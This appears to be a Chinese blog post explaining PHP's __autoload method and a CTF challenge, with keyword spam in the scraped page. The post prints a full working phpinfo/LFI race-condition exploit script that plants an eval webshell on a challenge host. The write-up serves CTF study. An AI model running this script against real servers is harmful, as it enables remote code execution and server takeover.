<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    autoload魔術方法的妙用

    VSole2021-10-09 15:01:39

    前言:

    __autoload魔術方法從PHP7.2.0開始被廢棄,并且在PHP8.0.0以上的版本完全廢除。取而代之的則是spl_autoload_register,但是本文還是研究__autoload

    什么是autoload魔術方法?

    首先還是從官方手冊中下手,了解autoload函數

    由此可見,__autoload魔術方法需要有一個類名的參數,使用這個魔術方法之后即可自動加載相應的類。

    雖然說是自動,但是本質上還是需要我們指定類名,__autoload才會為我們包含文件,自動加載相應的類。

    舉一個簡單的例子,假設我們有index.php業務代碼如下:

    <?phpfunction __autoload($classname){include("class_$classname.php");}$a = new A();
    

    并且我們有class_A.php代碼如下:

    <?phpclass A{function __construct(){echo "I am class A\n";}}
    

    我們可以看到,即使我們在index.php中沒有包含class_A.php中的類A,但是在index.php中卻新建了一個對象,此時因為在index.php中沒有類A,所以PHP會自動調用__autoload魔術方法。

    而我們__autoload魔術方法的作用就是將相關文件包含進來,因此最終程序還是成功的將I am class A輸出。

    所以,__autoload只需要我們在魔術方法內寫明一個邏輯:如果在后面的代碼中,新建一個對象,找不到對應的類的時候,應該包含哪些文件。

    autoload相比手動加載有哪些優勢?

    雖然說感覺__autoload很智能,但是通過上方的例子并不能很明顯體現__autoload的優點,因此下方換一個例子,用來展示__autoload相比手動加載的其他優勢。

    首先假設我們有autoload.php主業務邏輯代碼如下:

    <?php
    require_once("class_A.php");require_once("class_B.php");require_once("class_C.php");
    if ($_GET["class"] === 'A'){$a = new A();}else if ($_GET["class"] === 'B'){$b = new B();}else if ($_GET["class"] === 'C'){$c = new C();}
    

    光看這么一段代碼就已經覺得手動加載很繁瑣了,因為在這段代碼中,僅僅只是包含了三個文件,雖然本質上的業務邏輯十分簡單,但是代碼看起來很繁瑣,并且在這一段代碼還存在一個很大的問題,就是資源的浪費。我們可以看到主要的業務邏輯就是一個if語句,并且無論我們往class中怎么傳參,總是至少有兩個類是無法新建的。也就是說,在代碼最上方的三行包含文件代碼中,至少有兩行的文件加載是多余的。因此,這樣就就造成了資源的浪費。

    那么如何解決這一個問題呢?

    答案就是使用__autoload魔術方法,在我們需要的將相關文件包含進來。

    因此我們將autoload.php代碼修改如下:

    <?php
    function __autoload($classname){require("class_$classname.php");}
    if ($_GET["class"] === 'A'){$a = new A();}else if ($_GET["class"] === 'B'){$b = new B();}else if ($_GET["class"] === 'C'){$c = new C();}
    

    這個時候不僅代碼看上去清爽了很多,而且在理論上,運行的效率會更高,占用的系統資源會更少。

    除此之外,這么寫其實還有一個優點,這里用到的文件包含函數是require,而上方使用的是require_once,這么寫的好處就是:如果后面再次調用類ABC,那么PHP會自動從內存中加載這些類,不會再一次調用__autoload魔術方法。

    那么,__autoload在開發中這么神奇,在安全中有沒有什么利用場景呢?

    有!那必然是有!下面將從一道CTF賽題中看看__autoload在安全中是怎么用的。

    從一道CTF題看autoload

    首先題目代碼如下:

    <?php
    /*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-10-13 11:25:09# @Last Modified by:   h1xa# @Last Modified time: 2020-10-19 07:12:57
    */include("flag.php");error_reporting(0);highlight_file(__FILE__);
    class CTFSHOW{   private $username;   private $password;   private $vip;   private $secret;
       function __construct(){       $this->vip = 0;       $this->secret = $flag;  }
       function __destruct(){       echo $this->secret;  }
       public function isVIP(){       return $this->vip?TRUE:FALSE;      }  }
       function __autoload($class){       if(isset($class)){           $class();  }}
    #過濾字符$key = $_SERVER['QUERY_STRING'];if(preg_match('/\_| |\[|\]|\?/', $key)){   die("error");}$ctf = $_POST['ctf'];extract($_GET);if(class_exists($__CTFSHOW__)){   echo "class is exists!";}
    if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){   include($ctf);}
    

    我們可以看到在類CTFSHOW里有一個__autoload魔術方法,雖然是在類里面,但是這是一個全局的魔術方法,也就是說只要調用未知名稱的類,都會調用__autoload這個魔術方法,而__autoload魔術方法將傳入的參數作為命令執行。

    然后我們再往下審計:

    $key = $_SERVER['QUERY_STRING'];if(preg_match('/\_| |\[|\]|\?/', $key)){   die("error");}$ctf = $_POST['ctf'];extract($_GET);
    

    這一部分代碼是過濾部分字符,POST傳入ctf,并且將GET請求中的變量名和值進行賦值

    if(class_exists($__CTFSHOW__)){   echo "class is exists!";}
    

    這一部分有一個函數:class_exists

    這一個函數和前面提到的新建對象一樣,如果不存在這個類,同樣也會調用__autoload魔術方法

    而且需要有一個__CTFSHOW__變量,但是下劃線過濾了。不過沒關系,在PHP中,當我們使用.作為變量名時,PHP會將.轉化為下劃線。

    if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){   include($ctf);}
    

    而這一部分代碼不允許ctf中存在:,并且過濾了log,也就是不允許我們日志注入,但是這里存在一個文件包含。

    因此我們可以考慮利用文件包含結合phpinfo進行RCE。

    這里貼一個項目鏈接,這個項目大概就是可以通過phpinfo結合本地文件包含,利用PHP的文件上傳會存在臨時文件的特性,進行getshell,具體原理就不再贅述了,參考說明文檔即可。

    exp鏈接:vulhub/exp.py at master · vulhub/vulhub (github.com)

    說明文檔:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)

    將改exp修改部分后,如下:

    #!/usr/bin/pythonimport sysimport threadingimport socket
    attempts_counter = 0
    def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):   """  根據提供參數返回請求內容  :param host:HOST  :param port:端口  :param phpinfo_path: phpinfo文件地址  :param lfi_path: 包含lfi的文件地址  :param lfi_param: lfi載入文件時, 指定文件名的參數  :param shell_code: shell代碼  :param shell_path: shell代碼保存位置  :return:      phpinfo_request: phpinfo 請求內容      lfi_request: lfi 請求內容      tag: 標識內容  """   tag = 'Security Test'   # 搜索驗證標識   payload = \'''{tag}\r<?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r'''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)
       request_data = \'''-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r{payload}-----------------------------7dbff1ded0714--\r''' .format(payload=payload)
       phpinfo_request = \'''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\rHTTP_ACCEPT: {padding}\rHTTP_USER_AGENT: {padding}\rHTTP_ACCEPT_LANGUAGE: {padding}\rHTTP_PRAGMA: {padding}\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: {request_data_length}\rHost: {host}:{port}\r\r{request_data}'''.format(   padding='A' * 4000,   phpinfo_path=phpinfo_path,   request_data_length=len(request_data),   host=host,   port=port,   request_data=request_data  )
       lfi_request = \'''POST {lfi_path}?{lfi_param} HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: {host}\rContent-Type: application/x-www-form-urlencoded\r\rctf={{}}\r'''.format(   lfi_path=lfi_path,   lfi_param=lfi_param,   host=host  )   return phpinfo_request, tag, lfi_request
    def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):   """  通過向phpinfo發送大數據包延緩時間, 然后利用lfi執行  :param host:HOST  :param port:端口  :param phpinfo_request: phpinfo頁面請求內容  :param offset: tmp_name在phpinfo中的偏移位  :param lfi_request: lfi頁面請求內容  :param tag: 標識內容  :return:      tmp_file_name: 臨時文件名  """   phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       phpinfo_socket.connect((host, port))   lfi_socket.connect((host, port))
       # 1. 先向phpinfo發送大數據包, 且其中包含php會將payload放入臨時文件中   # print(phpinfo_request)   # print(lfi_request)   phpinfo_socket.send(phpinfo_request.encode())
       phpinfo_response_data = ''   while len(phpinfo_response_data) < offset:       # 取不到數據則反復執行       phpinfo_response_data += phpinfo_socket.recv(offset).decode()
       try:       tmp_name_index = phpinfo_response_data.index('[tmp_name] =&gt')       # 獲取包含payload的臨時文件名       tmp_file_name = phpinfo_response_data[                           tmp_name_index + 17:                           tmp_name_index + 31                      ]   except ValueError:       return None   # 2. 再向lfi發送包含payload的臨時文件名, 用于包含   lfi_socket.send((lfi_request.format(tmp_file_name)).encode())   # print(lfi_request.format(tmp_file_name))   lfi_response_data = lfi_socket.recv(4096).decode()
       # 3. 停止phpinfo socket連接   phpinfo_socket.close()   # 4. 停止lfi socket連接   lfi_socket.close()   if lfi_response_data.find(tag) != -1:       # 5. lfi response中存在標識內容則payload執行成功       return tmp_file_name
    class ThreadWorker(threading.Thread):   def __init__(self, event, lock, max_attempts,                host, port, phpinfo_request,                offset, lfi_request, tag,                shell_code, shell_path,                lfi_path, lfi_param):       threading.Thread.__init__(self)       self.event = event       self.lock = lock       self.max_attempts = max_attempts       self.host = host       self.port = port       self.phpinfo_request = phpinfo_request       self.offset = offset       self.lfi_request = lfi_request       self.tag = tag       self.shell_code = shell_code       self.shell_path = shell_path       self.lfi_path = lfi_path       self.lfi_param = lfi_param
       def run(self):       global attempts_counter       while not self.event.is_set():           # 如果沒有set event則一直重復執行, 直到已嘗試次數大于最大嘗試數(attempts_counter > max_attempts)           with self.lock:               # 獲取鎖, 執行完后釋放               if attempts_counter >= self.max_attempts:                   return               attempts_counter += 1           try:               tmp_file_name = phpinfo_lfi(                   self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)               if self.event.is_set():                   break               if tmp_file_name:                   # 找到tmp_file_name后通過set event停止運行                   print('\n{shell_code} 已經被寫入到{shell_path}中'.format(                       shell_code=self.shell_code,                       shell_path=self.shell_path                  ))                   'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'                   print('默認調用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(                       host=self.host,                       port=self.port,                       lfi_path=self.lfi_path,                       lfi_param=self.lfi_param,                       shell_path=self.shell_path                  ))
                       self.event.set()           except socket.error:               return
    def get_offset(host, port, phpinfo_request):   """  獲取tmp_name在phpinfo中的偏移量  :param host: HOST  :param port: 端口  :param phpinfo_request: phpinfo 請求內容  :return:      tmp_name在phpinfo中的偏移量  """
       phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   phpinfo_socket.connect((host, port))   phpinfo_socket.send(phpinfo_request.encode())   phpinfo_response_data = ''   while True:       i = phpinfo_socket.recv(4096).decode()       phpinfo_response_data += i       if i == '':           break
           # 檢測是否是最后一個數據塊       if i.endswith('0\r\n\r\n'):           break   phpinfo_socket.close()   tmp_name_index = phpinfo_response_data.find('[tmp_name] =&gt')   print(phpinfo_response_data)   if tmp_name_index == -1:       raise ValueError('沒有在phpinfo中找到tmp_name')   print('找到了 {} 在phpinfo內容索引為{}的位置'.format(       phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))
       return tmp_name_index + 256
    def main():   pool_size = 100   host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'   port = 8080   phpinfo_path = '/'   lfi_path = '/'   lfi_param = 'isVIP=1'   shell_code = '<?php eval($_POST["mb"]);?>'   shell_path = '/tmp/g'   # 最大嘗試次數   max_attempts = 1000
       print('LFI With PHPInfo()')   # 一 生成phpinfo請求內容, 標志內容, lfi請求內容   phpinfo_request, tag, lfi_request = setup(       host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,       lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)
       # 二 獲取[tmp_name]在phpinfo中的偏移位   offset = get_offset(host, port, phpinfo_request)
       sys.stdout.flush()   thread_event = threading.Event()   thread_lock = threading.Lock()   print('創建線程池 {}...'.format(pool_size))   sys.stdout.flush()   thread_pool = []   for i in range(0, pool_size):       # 三 多線程執行phpinfo_lfi       thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,                                       host, port, phpinfo_request, offset,                                       lfi_request, tag,                                       shell_code, shell_path,                                       lfi_path, lfi_param                                      ))   for t in thread_pool:       t.start()   try:       while not thread_event.wait(1):           if thread_event.is_set():               break           with thread_lock:               sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))               sys.stdout.flush()               if attempts_counter >= max_attempts:                   # 嘗試次數大于最大嘗試次數則退出                   break       if thread_event.is_set():           print('''success !''')       else:           print('LJBD!')   except KeyboardInterrupt:       print('\n正在停止所有線程...')       thread_event.set()   for t in thread_pool:       t.join()
    if __name__ == "__main__":   main()
    

    當然啦,這題除了可以利用__autoload魔術方法結合本地文件包含getshell,也可以用php上傳文件條件競爭來做。

    總結:

    __autoload之所以好用,首先是因為它是一個全局的魔術方法,并且開發者在使用__autoload的時候,往往是為了包含相關的文件,而在指定包含的文件名時,就可能會出現包含文件可控的情況,雖然__autoload已經在新版本的PHP中廢棄,但是在對我們研究老版本的PHP項目,還是有一定指導意義的。

    shellctf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一個CTF+滲透測試工具包,主要實現一些常用的加密與編碼功能,在軟件使用過程中發現問題或建議歡迎提交 issue,也歡迎提交新功能需求。
    單純的通過覆蓋seh handler跳轉是不夠的,我們首先需要bypass safeseh。
    ReverseSSH是一款功能強大的靜態鏈接SSH服務器,ReverseSSH帶有反向Shell功能,可以幫助廣大研究人員提供強大的遠程訪問功能。該工具主要適用于滲透測試、HackTheBox挑戰或CTF比賽等場景。
    CTF-web--命令注入
    2023-03-31 09:51:35
    大佬總結的文章,本篇文章閱讀時間大約30分鐘。一 、基本原理 命令注入指的是,利用沒有驗證過的惡意命令或代碼,對網站或服務器進行滲透攻擊。注入有很多種,并不僅僅只有SQL注入。Injection)客戶端腳本攻擊(Script?injection)動態函數注入攻擊(Dynamic?Evaluation)序列化注入&對象注入。這種題目又哪些常見的,一個是我們常用的文件包含,我們是可以使用system等函數的,或者是php函數,應該也屬于命令注入的范疇。類似于 ?
    0x01 前言在2021年10月15日的“中國能源網絡安全大賽”,筆者對WEB題目進行了嘗試,幸運的做出了所有題目。0x02 ezphp這是一道很簡單的題目,同時也被大家刷成了簽到題。
    Kernel pwn CTF 入門 – 1
    2021-10-21 16:39:08
    01簡介內核 CTF 入門,主要參考 CTF-Wiki。02環境配置調試內核需要一個優秀的 gdb 插件,這里選用 gef。
    關于JadedWraith JadedWraith是一款功能強大的輕量級Unix后門,僅供研究及教育目的使用。該工具對于紅隊研究人員和CTF參賽人員非常有用,并且可以在不被反病毒產品檢測到的情況下植入目標系統。 功能介紹
    如何在耦合和內聚中取得平衡是在模塊編寫中需要注意的。目前的一個簡單想法就是把大的邏輯分開,比如盲注中判定sql邏輯的部分和注出數據的部分,從外部傳入target,各功能之間的公用參數掛在對象上。下面是一個基礎的Sql注入利用類import requests
    前言前段時間在刷CTF題目的時候碰到了各種過濾,其中給我印象最為深刻的是無字母數字Webshell,但是刷題的時候總覺得理解不是那么透徹,于是考慮寫一篇總結文章好好總結一下。
    0X1 BerylEnigma介紹一個CTF+滲透測試工具包,主要實現一些常用的加密與編碼功能,前身為CryptionTool,為更方便的開發更換框架重構。軟件基于JDK17開發,使用JAVAFX UI框架以及JFoenixUI組件架構。0X2 BerylEnigma功能現代古典紅隊操作工具文本操作工具HTLM-hashROT13目標整理文本替換JWT柵欄密碼域名分割文本分隔認證Atbash回彈shell生成英文大小寫轉換hashVigenre文本行拼接SM3凱撒密碼編碼待辦清單URL編碼 - Base64編碼增強ASCII圖像工具 - 二維碼Base64現代加密 - AES,DESBrainFuck現代加密 -?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类